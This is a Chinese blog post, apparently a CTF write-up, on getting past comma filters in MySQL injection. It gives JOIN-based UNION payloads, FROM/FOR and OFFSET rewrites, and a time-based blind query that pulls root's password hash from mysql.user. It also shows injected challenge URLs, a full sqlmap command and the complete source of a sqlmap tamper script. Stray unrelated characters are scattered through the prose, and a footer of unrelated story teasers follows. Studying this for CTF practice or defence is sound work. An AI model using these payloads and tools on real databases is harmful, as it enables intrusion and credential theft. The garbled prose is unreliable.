SQL注入簡單總結(jié)——過濾逗號注入

最近做了一些CTF題目肺稀,發(fā)現(xiàn)sql題目很喜歡出過濾","的題目责蝠,借此機(jī)會特此總結(jié)。并且我有一個(gè)想法能夠通過編寫tamper盡量多的解決sql注入的題目肥卡。

在使用盲注的時(shí)候,需要使用到substr(),mid(),limit事镣。這些子句方法都需要使用到逗號步鉴。對于substr()和mid()這兩個(gè)方法可以使用from to的方式來解決:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2     #等價(jià)于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等價(jià)于
select user() like 'r%'

對于limit可以使用offset來繞過:

select * from news limit 0,1
# 等價(jià)于下面這條SQL語句
select * from news limit 1 offset 0
select * from table1 where id =1 and exists (select * from table2 where ord(substring(username from 1 for 1)=97);

127' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#

select case when substring((select password from mysql.user where user='root') from 1 for 1)='e' then sleep(5) else 0 end #

substring((select password from mysql.user where user='root') from -1)='e'

原文:https://blog.csdn.net/nzjdsds/article/details/81322529 

例題1 i春秋百度杯九月場SQLI

https://www.ichunqiu.com/battalion?t=1&r=54791
首先在源代碼里有提示login.php,但是這是個(gè)假鏈接,真鏈接在header里l0gin.php

http://81abba4bbfd54553ab84f1969f4479dc0e3ad323bdca49b0.changame.ichunqiu.com/l0gin.php?id=1'

這里進(jìn)行模糊測試璃哟,看看過濾了哪些參數(shù)
參考:https://segmentfault.com/a/1190000018748071
https://www.4hou.com/vulnerable/6933.html
這里時(shí)第一次用fuzz氛琢,不太熟練,自己會在測試中逐漸加入自己的語句随闪,提高效率阳似,這里強(qiáng)行解釋一波

image.png

這里兩個(gè)文件長度應(yīng)該差1,但是缺差了9铐伴,點(diǎn)進(jìn)去看一下撮奏,發(fā)現(xiàn)俏讹,后面全都被截取了,應(yīng)該是過濾了逗號
image.png

image.png

這里我們使用

127' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#

這條語句

http://53574d90404b480e84e9c1d271100ceeb27c702c456643d4.game.ichunqiu.com/l0gin.php?id=1' union select * from (select database()) a join (select version() ) b %23

發(fā)現(xiàn)頁面正常畜吊,這里我們其實(shí)成功了但是只會顯示第一句因?yàn)槁?lián)合查詢第一個(gè)語句有結(jié)果的話就會出第一個(gè)語句的結(jié)果我們把1改為不存的值就行


image.png

查表名

image.png

查字段名

image.png

但是你這里會發(fā)現(xiàn)只出現(xiàn)了id泽疆,其實(shí)還有其他的但是位置不夠顯示不出來,這里我們用不了concat因?yàn)槲覀儾恢榔渌侄蔚拿植荒苈?lián)合玲献,concat_ws也不能用因?yàn)檫@個(gè)函數(shù)有逗號會失效殉疼,這里我就直接使用group_concat()直接把所有字段連在一起顯示出來而且不需要用到逗號

image.png

參考:http://www.reibang.com/p/5d34b3722128
利用sqlmap tamper 解決過濾逗號問題
python sqlmap.py -u "http://81abba4bbfd54553ab84f1969f4479dc0e3ad323bdca49b0.changame.ichunqiu.com/l0gin.php?id=1" -p id --level 3 --risk 3 --tamper=commalessmysql -v3 -D sqli -T users --columns

commalessmysql.py

#!/usr/bin/env python

"""
Writed by Ovie 2016-12-05

"""
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces some instances with something whthout comma 

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0
            
    
    >>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))')
    'ISNULL(NULL)'
    
    >>> tamper('MID(VERSION(), 2, 1)')
    'MID(VERSION() FROM 2 FOR 1)'

    >>> tamper('IF(26=26,0,5)')
    'CASE WHEN 26=26 THEN 0 ELSE 5 END'
    
    >>> tamper('IFNULL(NULL,0x20)')
    'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END'
    
    >>> tamper('LIMIT 2, 3')
    'LIMIT 3 OFFSET 2'
    """

    
    def commalessif(payload):
        if payload and payload.find("IF") > -1:
            while payload.find("IF(") > -1:
                index = payload.find("IF(")
                depth = 1
                comma1, comma2, end = None, None, None

                for i in xrange(index + len("IF("), len(payload)):
                    if depth == 1 and payload[i] == ',' and not comma1:
                        comma1 = i
                        
                    elif depth == 1 and payload[i] == ',' and comma1:
                        comma2 = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma1 and comma2 and end:
                    _ = payload[index + len("IF("):comma1]
                    __ = payload[comma1 + 1:comma2]
                    ___ = payload[comma2 + 1:end]
                    newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break
                    
        return payload

    def commalessifnull(payload):
        if payload and payload.find("IFNULL") > -1:
            while payload.find("IFNULL(") > -1:
                index = payload.find("IFNULL(")
                depth = 1
                comma, end = None, None

                for i in xrange(index + len("IFNULL("), len(payload)):
                    if depth == 1 and payload[i] == ',':
                        comma = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma and end:
                    _ = payload[index + len("IFNULL("):comma]
                    __ = payload[comma + 1:end].lstrip()
                    newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    retVal = payload
    
    if payload:
        retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal)
        retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal)
        retVal = commalessif(retVal)
        retVal = commalessifnull(retVal)
        retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)

    return retVal

參考:
http://www.reibang.com/p/5d34b3722128
https://www.jishuwen.com/d/2GA5
https://www.jishuwen.com/d/2c3j
https://www.cnblogs.com/Vinson404/p/7253255.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市青自,隨后出現(xiàn)的幾起案子株依,更是在濱河造成了極大的恐慌,老刑警劉巖延窜,帶你破解...
    沈念sama閱讀 218,682評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件恋腕,死亡現(xiàn)場離奇詭異,居然都是意外死亡逆瑞,警方通過查閱死者的電腦和手機(jī)荠藤,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來获高,“玉大人哈肖,你說我怎么就攤上這事∧钛恚” “怎么了淤井?”我有些...
    開封第一講書人閱讀 165,083評論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長摊趾。 經(jīng)常有香客問我币狠,道長,這世上最難降的妖魔是什么砾层? 我笑而不...
    開封第一講書人閱讀 58,763評論 1 295
  • 正文 為了忘掉前任漩绵,我火速辦了婚禮,結(jié)果婚禮上肛炮,老公的妹妹穿的比我還像新娘止吐。我一直安慰自己,他們只是感情好侨糟,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,785評論 6 392
  • 文/花漫 我一把揭開白布碍扔。 她就那樣靜靜地躺著,像睡著了一般秕重。 火紅的嫁衣襯著肌膚如雪蕴忆。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,624評論 1 305
  • 那天悲幅,我揣著相機(jī)與錄音套鹅,去河邊找鬼站蝠。 笑死,一個(gè)胖子當(dāng)著我的面吹牛卓鹿,可吹牛的內(nèi)容都是我干的菱魔。 我是一名探鬼主播,決...
    沈念sama閱讀 40,358評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼吟孙,長吁一口氣:“原來是場噩夢啊……” “哼澜倦!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起杰妓,我...
    開封第一講書人閱讀 39,261評論 0 276
  • 序言:老撾萬榮一對情侶失蹤藻治,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后巷挥,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體桩卵,經(jīng)...
    沈念sama閱讀 45,722評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年倍宾,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了雏节。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,030評論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡高职,死狀恐怖钩乍,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情怔锌,我是刑警寧澤寥粹,帶...
    沈念sama閱讀 35,737評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站埃元,受9級特大地震影響涝涤,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜亚情,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,360評論 3 330
  • 文/蒙蒙 一妄痪、第九天 我趴在偏房一處隱蔽的房頂上張望哈雏。 院中可真熱鬧楞件,春花似錦、人聲如沸裳瘪。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽彭羹。三九已至黄伊,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間派殷,已是汗流浹背还最。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評論 1 270
  • 我被黑心中介騙來泰國打工墓阀, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人拓轻。 一個(gè)月前我還...
    沈念sama閱讀 48,237評論 3 371
  • 正文 我出身青樓斯撮,卻偏偏與公主長得像,于是被迫代替她去往敵國和親扶叉。 傳聞我的和親對象是個(gè)殘疾皇子勿锅,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,976評論 2 355

推薦閱讀更多精彩內(nèi)容